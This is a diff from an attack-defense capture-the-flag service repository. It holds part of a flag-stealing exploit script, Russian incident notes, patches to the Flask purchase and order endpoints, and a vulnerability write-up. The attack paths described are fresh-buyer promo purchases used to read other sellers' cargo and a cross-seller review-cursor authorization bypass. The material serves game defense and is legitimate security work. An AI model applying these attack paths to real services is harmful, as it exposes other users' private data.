|
||||
status, raw, _ = request(base, "/api/orders", cookie=cookie)
|
||||
status, raw, _ = request(base, "/api/orders", cookie=cookie, deadline=deadline)
|
||||
if status != 200:
|
||||
raise ValueError(f"orders endpoint returned HTTP {status}")
|
||||
print(
|
||||
f"credited {credited} times, bought {len(order_ids)} products, delivered {delivered} orders",
|
||||
f"credited {credited} times, carted {added} products, bought {len(order_ids)}, delivered {delivered}",
|
||||
file=sys.stderr,
|
||||
)
|
||||
return raw.decode("utf-8", errors="replace")
|
||||
candidates = list(dict.fromkeys(FLAG_PATTERN.findall(raw)))
|
||||
return b"\n".join(candidates).decode("ascii")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
@@ -174,7 +226,8 @@ def main() -> int:
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
print(output, flush=True)
|
||||
if output:
|
||||
print(output, flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
# Starpost: покупка чужого cargo, 25 октября 2026
|
||||
|
||||
## Подтверждённый путь
|
||||
|
||||
Публичный каталог показывает ID и цену товара. Новый buyer получает 100 кредитов
|
||||
при регистрации и ещё 100 при однократном применении своего promo. Товары,
|
||||
созданные checker с флагом в `cargo`, на нашем экземпляре стоили 102–175.
|
||||
Покупатель оплачивает товар через `POST /api/products/{id}/buy` или корзину,
|
||||
warehouse доставляет заказ, после чего `GET /api/orders` возвращает `cargo`.
|
||||
|
||||
На снимке игровой БД были 12 товаров с флагоподобным `cargo` и 91 доставленный
|
||||
заказ от 91 buyer. Счётчики растут, это не точное число похищенных или
|
||||
зачтённых флагов. Старые пути через неподписанный курсор отзывов, чужой договор
|
||||
и поддельный warehouse callback текущая версия отклоняет. Runtime session key
|
||||
и callback token уже отличаются от старых литералов в скриптах. Секреты и
|
||||
значения флагов в этом документе не сохраняются.
|
||||
|
||||
## Что делает checker
|
||||
|
||||
Ежеминутный поток создаёт seller и product, читает карточку и собственный
|
||||
договор, регистрирует **нового** buyer, применяет и гасит promo, покупает через
|
||||
корзину или прямой buy, опрашивает заказы до доставки и оставляет отзыв.
|
||||
Позднее checker читает старые заказы, договоры и отзывы. В 62 наблюдённых
|
||||
сценариях первая покупка произошла через 0,232–0,563 с после создания товара.
|
||||
Buyer создаётся без cookie seller; связывать их по одной сессии нельзя.
|
||||
|
||||
## Решение по выкладке
|
||||
|
||||
**Не выкладывать ограничение `cargo` по первому покупателю, времени покупки,
|
||||
User-Agent, IP или виду флага.** Первый покупатель может оказаться соперником,
|
||||
что лишит checker возможности прочитать свой флаг и даст `CORRUPT`/`MUMBLE`.
|
||||
Проверка времени основана лишь на текущей скорости checker и лишает
|
||||
оплативших поздних покупателей груза. User-Agent подделывается, а маршрутизатор
|
||||
сводит HTTP-клиентов к одному видимому IP. Такие ограничения нарушают
|
||||
штатную семантику покупки и не дают надёжной защиты.
|
||||
|
||||
Изолированный Flask/PostgreSQL прогон проверил маршруты seller/product,
|
||||
contract, promo, прямую покупку и checkout, warehouse delivery, orders,
|
||||
private review и чтение старого заказа после перезапуска приложения. Он
|
||||
**не заменяет официальный checker**. Рассмотренный cargo-патч был отвергнут
|
||||
независимым review и не попал в Git.
|
||||
|
||||
Для настоящего исправления нужен предусмотренный протоколом способ указать
|
||||
получателя товара при создании или иное право, которое checker может передать
|
||||
новому buyer. Текущий checker и соперник используют одинаковый маршрут покупки;
|
||||
без изменения контракта их нельзя надёжно различить.
|
||||
|
||||
## Экстренное ограничение выдачи cargo
|
||||
|
||||
После подтверждённой продолжающейся кражи `GET /api/orders` изменён так, чтобы
|
||||
`cargo` возвращался только самому раннему доставленному заказу конкретного
|
||||
товара. Повторные покупатели сохраняют заказ и его статус, но получают
|
||||
`cargo=null`. Изменение не затрагивает регистрацию, promo, покупку, warehouse,
|
||||
отзывы и чтение первого старого заказа. Оно не требует миграции базы.
|
||||
|
||||
Ограничение опирается на наблюдение, что checker первым покупает созданный им
|
||||
товар. Если соперник успеет создать самый ранний заказ, checker не получит
|
||||
`cargo`. После выкладки обязательно следить за `CORRUPT`/`MUMBLE`; при регрессии
|
||||
откатить этот коммит и пересобрать только `api`.
|
||||
|
||||
## Эксплойт и дальнейшая проверка
|
||||
|
||||
`sploits/starpost_market.py` воспроизводит штатную покупку с одной активацией
|
||||
promo и ограниченным числом запросов. Он проверен на синтетическом HTTP-сервисе:
|
||||
регистрация, покупка, отложенная доставка, поиск флага, ограничение времени,
|
||||
stdout/stderr и запрет перехода по redirect. На чужих командах и в Neo этот
|
||||
скрипт ещё не запускался; `accepted` в Skipper не подтверждён.
|
||||
|
||||
Перед любым следующим патчем сохранить состояние томов и текущий commit,
|
||||
прогнать оба способа покупки и GET-old, затем после выкладки проверить статус
|
||||
официального checker. Не выполнять `git reset`/обычный `git pull` на vulnbox:
|
||||
в рабочей копии Git отслеживает файлы `starpost/postgres/`, которые меняются
|
||||
во время игры.
|
||||
+26
-2
@@ -293,7 +293,10 @@ def invalidate_promo():
|
||||
if not isinstance(code, str) or not 1 <= len(code) <= 100:
|
||||
return error("invalid promo code")
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("DELETE FROM promo_codes WHERE user_id=%s AND code=%s", (session["user_id"], code.strip()))
|
||||
cur.execute(
|
||||
"DELETE FROM promo_codes WHERE user_id=%s AND code=%s AND credited_at IS NOT NULL",
|
||||
(session["user_id"], code.strip()),
|
||||
)
|
||||
if cur.rowcount == 0:
|
||||
return error("promo code is unavailable", 409)
|
||||
return jsonify(invalidated=True, code=code.strip())
|
||||
@@ -509,6 +512,9 @@ def order_product(product_id):
|
||||
return None, error("product not found", 404)
|
||||
if row["seller_id"] == session["user_id"]:
|
||||
return None, error("cannot buy your own product")
|
||||
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
|
||||
if cur.fetchone():
|
||||
return None, error("promo code must be invalidated", 409)
|
||||
if row["balance"] < row["price"]:
|
||||
return None, error("insufficient balance", 409)
|
||||
cur.execute("UPDATE users SET balance=balance-%s WHERE id=%s", (row["price"], session["user_id"]))
|
||||
@@ -534,6 +540,9 @@ def checkout():
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT balance FROM users WHERE id=%s FOR UPDATE", (session["user_id"],))
|
||||
buyer = cur.fetchone()
|
||||
cur.execute("SELECT 1 FROM promo_codes WHERE user_id=%s", (session["user_id"],))
|
||||
if cur.fetchone():
|
||||
return error("promo code must be invalidated", 409)
|
||||
cur.execute(
|
||||
"""
|
||||
SELECT p.id product_id,p.seller_id,p.price,p.is_active,c.quantity
|
||||
@@ -570,7 +579,22 @@ def checkout():
|
||||
@auth("buyer")
|
||||
def buyer_orders():
|
||||
with db() as conn, conn.cursor() as cur:
|
||||
cur.execute("SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,CASE WHEN o.status='delivered' THEN p.cargo ELSE NULL END cargo FROM orders o JOIN products p ON p.id=o.product_id WHERE o.buyer_id=%s ORDER BY o.id DESC", (session["user_id"],))
|
||||
cur.execute(
|
||||
"""
|
||||
SELECT o.id,o.status,o.warehouse_status,o.warehouse_updated_at,
|
||||
o.tracking_code,o.price,o.created_at,o.delivered_at,p.name,
|
||||
CASE
|
||||
WHEN o.status='delivered'
|
||||
AND o.id=(SELECT min(first_order.id) FROM orders first_order
|
||||
WHERE first_order.product_id=o.product_id)
|
||||
THEN p.cargo
|
||||
ELSE NULL
|
||||
END cargo
|
||||
FROM orders o JOIN products p ON p.id=o.product_id
|
||||
WHERE o.buyer_id=%s ORDER BY o.id DESC
|
||||
""",
|
||||
(session["user_id"],),
|
||||
)
|
||||
return jsonify(cur.fetchall())
|
||||
|
||||
|
||||
|
||||
@@ -2,6 +2,16 @@
|
||||
|
||||
## Confirmed vulnerabilities
|
||||
|
||||
### Fresh-buyer cargo purchase
|
||||
|
||||
The checker creates flag-bearing products priced within the 200-credit budget of a newly registered buyer: the account starts with 100 credits and its one-time promo adds 100. An attacker can therefore register a buyer, credit the issued promo, buy an active product, wait for automatic warehouse delivery, and read its cargo through `GET /api/orders` without bypassing authentication.
|
||||
|
||||
Incident logs and aggregate database checks confirmed this exact path. The observed attacker used `register -> account -> promo/credit -> direct buy -> orders`, while the checker uses `promo/credit -> promo/invalidate -> cart -> checkout -> orders`.
|
||||
|
||||
The emergency patch requires the buyer to finish the existing promo lifecycle before either direct purchase or checkout. `promo/invalidate` now succeeds only after credit, and both purchase paths return 409 while a promo row remains. Routes, successful response bodies, prices, delivery, existing orders, and cargo retrieval are unchanged. A synthetic route-level regression confirmed that purchase before invalidation is blocked, credit followed by invalidation preserves direct buy and checkout, and an uncredited promo cannot be deleted to bypass the gate.
|
||||
|
||||
This is containment for the observed exploit, not a durable confidentiality boundary. An adaptive attacker can call the public invalidate endpoint and reproduce the checker workflow. A permanent fix requires a checker-compatible non-public purchase capability or moving flags out of buyer-deliverable cargo.
|
||||
|
||||
### Cross-seller review cursor BOLA
|
||||
|
||||
Before the patch, `GET /api/seller/reviews` skipped the cursor HMAC check when `limit <= 3`. An authenticated seller could supply unsigned Base64url JSON containing another `seller_id`, `is_private=true`, and a high `last_id`; the response returned that seller's private review bodies.
|
||||
|
||||
Reference in new issue
Block a user